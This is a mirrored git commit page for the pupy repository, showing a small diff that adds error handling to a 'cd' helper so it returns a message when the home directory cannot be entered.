mirror of https://github.com/n1nj4sec/pupy.git
Merge branch 'cd' of https://github.com/AlessandroZ/pupy
This commit is contained in:
commit
4d27af74ec
|
@ -79,8 +79,11 @@ def ls(path=None):
|
||||||
def cd(path=None):
|
def cd(path=None):
|
||||||
if not path:
|
if not path:
|
||||||
home = os.path.expanduser("~")
|
home = os.path.expanduser("~")
|
||||||
os.chdir(home)
|
try:
|
||||||
return
|
os.chdir(home)
|
||||||
|
return
|
||||||
|
except:
|
||||||
|
return "[-] Home directory not found (or access denied): %s" % home
|
||||||
|
|
||||||
path = os.path.join(os.getcwd(), path)
|
path = os.path.join(os.getcwd(), path)
|
||||||
if os.path.isdir(path):
|
if os.path.isdir(path):
|
||||||
|
|
Loading…
Reference in New Issue